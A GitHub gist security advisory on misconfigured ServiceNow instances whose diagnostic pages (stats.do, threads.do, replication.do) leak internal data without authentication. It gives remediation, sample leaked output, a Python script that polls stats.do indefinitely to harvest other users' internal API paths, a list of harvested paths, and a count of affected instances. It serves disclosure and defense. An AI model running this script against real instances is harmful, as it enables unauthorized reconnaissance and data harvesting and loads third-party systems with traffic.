Skip to content

Instantly share code, notes, and snippets.

@win3zz
Last active July 1, 2024 16:30
Show Gist options
  • Save win3zz/e236c578c5ba8d8349f687deffabaa2d to your computer and use it in GitHub Desktop.
Save win3zz/e236c578c5ba8d8349f687deffabaa2d to your computer and use it in GitHub Desktop.
ServiceNow Instance Exposing Sensitive Information via Unauthenticated Endpoints

ServiceNow Instance Exposing Sensitive Information via Unauthenticated Endpoints

  • Date: 26 June 2023
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • Discovered by: Bipin Jitiya (@win3zz)

Summary

[REDACTED], Inc., uses ServiceNow with an instance named "[REDACTED]" accessible at https://[REDACTED].service-now.com/. Upon reviewing this instance, I observed that it is not sufficiently hardened for security, and some endpoints are exposing sensitive information. The following three endpoints, designed for performance monitoring, logging, and troubleshooting purposes, are accessible without authentication:

  • https://[REDACTED].service-now.com/stats.do
  • https://[REDACTED].service-now.com/threads.do
  • https://[REDACTED].service-now.com/replication.do

Ideally, these endpoints should only be accessible by the administrator account or users from allowed IP addresses.

Note

Please note that this is not a zero-day vulnerability. It is intended functionality of ServiceNow that can be controlled by the customer. However, it exposes sensitive information (in most cases). I consider this a misconfiguration that ServiceNow users/customers should be aware of.

Proof of Concept

  1. Open any of the affected endpoints in a browser:

Screenshot 2024-06-17 210233

Screenshot 2024-06-17 210340

Screenshot 2024-06-17 210412

Remediation

  • Restrict access to these endpoints (configuration pages) to the administrator account only or users from allowed IP addresses. To control who can view the stats.do, threads.do, and replication.do pages, set the glide.security.diag_txns_acl system property value to true so that only administrators or users from a known IP address are allowed to view the pages. By default, it is set to false.
  • Apply all other instance security hardening settings and security best practices to your ServiceNow instance.

Impact

The affected endpoints expose information such as server details, threads, processes executed on the server, stack traces, and database configurations. One of the most sensitive pieces of information is leaked through stats.do under Semaphore Sets. In ServiceNow, Semaphore Sets provide information about semaphores currently allocated and actively utilized by processes or threads within the ServiceNow instance. The API_INT semaphore refers to a mechanism used to control access to internal REST APIs. It logs all the endpoints or URLs within the ServiceNow instance where any operations are performed. Exposing these endpoints can reveal sensitive information, for example:

**Semaphore Sets**
 
**Default**
Available semaphores: 13
Queue depth: 0
Queue age: 0:00:00.000
Max queue depth: 32
Queue depth limit: 150
In use semaphores:
0:02283EE847228654B77B3DDBD36D435C #9485104 /angular.do (Default-thread-6) (0:00:00.518)
1:AEC0F2EC47EA4654B77B3DDBD36D43A1 #9485118 /xmlhttp.do (Default-thread-8) (0:00:00.037)
2:30DB62E0476A4654B77B3DDBD36D436C #9485119 /list_history.do (Default-thread-15) (0:00:00.023)
Maximum transaction concurrency: 16
Maximum concurrency achieved: 16
429 rejections: 2255
 
1 minute: 0:00:00.254 (536 transactions, 536.0 per minute, 90% faster than 0:00:00.266)
5 minute: 0:00:00.313 (1865 transactions, 373.0 per minute, 90% faster than 0:00:00.458)
15 minute: 0:00:00.285 (6344 transactions, 422.93 per minute, 90% faster than 0:00:00.362)
60 minute: 0:00:00.287 (25133 transactions, 418.88 per minute, 90% faster than 0:00:00.361)
1 day: 0:00:00.249 (382544 transactions, 265.65 per minute, 90% faster than 0:00:00.328)
 
...
 
**API_INT**
Available semaphores: 3
Queue depth: 0
Queue age: 0:00:00.000
Max queue depth: 44
Queue depth limit: 50
In use semaphores:
0:BDBC10AC47EA0254B77B3DDBD36D4300 #9484563 /api/now/ui/user/user_name/[user]@[REDACTED].com (API_INT-thread-1) (0:00:21.168)
0:BDBC10AC47EA0254B77B3DDBD36D4300 #9484563 /api/now/v2/table/sys_history_line (API_INT-thread-2) (0:00:27.168)
Maximum transaction concurrency: 4
Maximum concurrency achieved: 4
429 rejections: 4
 
1 minute: 0:00:00.791 (93 transactions, 93.0 per minute, 90% faster than 0:00:00.220)
5 minute: 0:00:01.359 (221 transactions, 44.2 per minute, 90% faster than 0:00:00.220)
15 minute: 0:00:01.338 (714 transactions, 47.6 per minute, 90% faster than 0:00:00.228)
60 minute: 0:00:01.167 (3482 transactions, 58.03 per minute, 90% faster than 0:00:00.306)
1 day: 0:00:02.130 (122408 transactions, 85.0 per minute, 90% faster than 0:00:08.436)
...

To demonstrate the impact, I created a script that monitors stats.do and logs all the internal REST API endpoints that may contain internal or company-sensitive information. An attacker can collect such data and misuse it.

Steps to Reproduce

  1. Install the necessary Python dependencies (aiofiles and aiohttp), save and run the following script using the command python3 asynchronous_extract.py:
import aiofiles #pip install aiofiles
import aiohttp #pip install aiohttp
import asyncio
import re

async def extract_paths(session, url):
    async with session.get(url) as response:
        if response.status == 200:
            semaphore_text = await response.text()
            pattern = r'\d+:[A-F0-9]{32} #\d+ (\S+?) \(<a\s.*?>.*?</a>\) \(\d+:\d+:\d+\.\d+\) <br/>'
            matches = re.findall(pattern, semaphore_text)
            if matches:
                async with aiofiles.open("paths.txt", mode='a') as file:
                    for match in matches:
                        await file.write(match + "\n")
            else:
                print("No semaphore data found in response.")
        else:
            print("Failed to fetch data from the URL.")

async def main():
    url = "https://[REDACTED].service-now.com/stats.do"
    async with aiohttp.ClientSession() as session:
        while True:  # Keep running indefinitely
            tasks = [extract_paths(session, url) for _ in range(10)]  # Adjust the number of concurrent requests
            await asyncio.gather(*tasks)
            await asyncio.sleep(5)  # Wait for 5 seconds before making another batch of requests

if __name__ == "__main__":
    asyncio.run(main())

Make sure you replace [REDACTED] with the target ServiceNow instance name before executing the script.

  1. Log in to your ServiceNow instance and work on your application for a while. During this time, all internal API calls will be triggered.
  2. The script generates a paths.txt file. Open it and observe the logged information.
  3. (Optional) Remove duplicate entries for more clarity using the Linux command sort paths.txt | uniq > uniq_paths.txt.

IMPORTANT NOTE: The script makes 10 concurrent requests every 5 seconds, which can lead to significant data transfer:

  • Requests per Minute: 120
  • Data per Minute: 12 MB (assuming 100 KB per response)
  • Data per Hour: 720 MB
  • Data per Day: 17.28 GB

Due to high traffic generation, I have not run the script for a long time. However, I have obtained the disclosed URL endpoints from a sample client (with permission) during a short run of this script.

/$knowledge_feedback.do
/$m.do
/$pa_dashboard.do
/$pa_dashboards_overview.do
/$sp.do
/$uxapp.do
/$uxappimmutables.do
/alm_hardware.do
/alm_hardware_list.do
/amb_session_setup.do
/angular.do
/api/now/analytics/events
/api/now/embeddedhelp/change_request/normal
/api/now/embeddedhelp/customer_account/normal
/api/now/embeddedhelp/home/normal
/api/now/embeddedhelp/incident_list/normal
/api/now/embeddedhelp/incident/normal
/api/now/embeddedhelp/sn_customerservice_case_list/normal
/api/now/embeddedhelp/sn_customerservice_case/normal
/api/now/embeddedhelp/task_list/normal
/api/now/embeddedhelp/u_cmdb_ci_privilege_management_cloud/normal
/api/now/graphql
/api/now/guided_tours/autolaunch/get
/api/now/guided_tours/tours
/api/now/import/u_sfdc_asset_import
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/processflow/flow/[REDACTED]
/api/now/session/notification
/api/now/sp/consent/getConsentDetails
/api/now/sp/page
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/search
/api/now/sp/widget/[REDACTED]
/api/now/sp/widget/[REDACTED]
/api/now/sp/widget/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/incident
/api/now/table/sn_customerservice_case
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_escalation
/api/now/table/sys_dictionary
/api/now/table/sys_user
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/ui/history
/api/now/ui/meta/sn_customerservice_case
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/polaris/menu
/api/now/ui/presence
/api/now/ui/related_list/related/sn_customerservice_escalation/all
/api/now/ui/user/[REDACTED]
/api/now/ui/user/user_name/[REDACTED]@[REDACTED].com
/api/now/uxf/databroker/exec
/api/now/v1/actsub/subscriptions/[REDACTED]
/api/now/v1/batch
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_3_1548274241000_kb_knowledge.csv
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_35_1548274241000_kb_knowledge.csv
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_1_1707798985000_ts_query_kb.csv
/api/now/v1/gml_service/solution/[REDACTED]/information
/api/now/v1/gml_service/solution/[REDACTED]/requirement
/api/now/v1/gml_service/solution/[REDACTED]/status
/api/now/v1/knowledge/search/facets
/api/now/v1/pa/i18n
/api/now/v1/search/sources/textsearch
/api/now/v2/table/customer_account
/api/now/v2/table/customer_account/[REDACTED]
/api/now/v2/table/customer_contact
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/sn_sc/v1/servicecatalog/items/[REDACTED]/order_now
/api/sn_sc/v1/servicecatalog/items/[REDACTED]/submit_producer
/api/[REDACTED]/[REDACTED]/is_installed
/api/[REDACTED]/arm/authorization_request
/change_request.do
/change_request_list.do
/cmdb_ci_business_app.do
/cmdb_ci_business_app_list.do
/customer_account.do
/customer_account_list.do
/customer_contact.do
/customer_contact_list.do
/ecc_queue.do
/email_client.do
/incident.do
/incident_list.do
/kb_knowledge.do
/kb_view.do
/ldap_ou_config.do
/ldap_server_config.do
/legacy_date_time_choices_processor.do
/list2_deferred_related_lists.do
/list_history.do
/livefeed.do
/navpage.do
/nav_to.do
/now-vpe
/{{::[REDACTED].u_image}}
/polarisberg_theme_variables.do
/popup.do
/report_viewer.do
/sc_task.do
/sn_compliance_policy.do
/sn_compliance_policy_list.do
/sn_customerservice_case.do
/sn_customerservice_case_list.do
/sn_customerservice_case_sla_list.do
/sn_customerservice_licensed_product.do
/sn_grc_advanced_evidence_response.do
/sn_grc_advanced_evidence_response_list.do
/sysapproval_approver.do
/sysapproval_approver_list.do
/sys_attachment.do
/sys_dictionary.do
/sys_report_template.do
/sys_ui_policy.do
/sys_ui_policy_list.do
/sys_user.do
/sys_user_list.do
/task_list.do
/u_cmdb_ci_password_safe_cloud_resource_group.do
/u_cmdb_ci_password_safe_cloud_resource_group_list.do
/u_cmdb_ci_privilege_management_cloud.do
/u_cmdb_ci_privilege_management_cloud_list.do
/u_kb_template_support_how_to_information.do
/u_kb_template_support_known_issues.do
/xmlhttp.do
/xmlstats.do

Affected Assets

There are a total of 956 subdomains of service-now.com identified through subdomainfinder.c99.nl. Hypothetically considering all the subdomains are customer instances, I observed that 575 out of 956 are affected by this misconfiguration. However, not all the affected endpoints expose sensitive information.

Screenshot 2024-06-30 140434

References

Disclaimer

This code and associated instructions are provided for educational purposes only. Unauthorized use for malicious intent, including but not limited to unauthorized access to computer systems, networks, or data, is strictly prohibited. The author disclaims any responsibility for misuse of the code or any negative consequences resulting from its use. Users are advised to adhere to ethical and legal standards when utilizing or experimenting with the provided code. It is recommended to obtain explicit permission before attempting to run this code on any systems or networks that are not owned or managed by the user.

@koensmink
Copy link

Date: 26 June 2023 should be 26 juni 2024 right?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment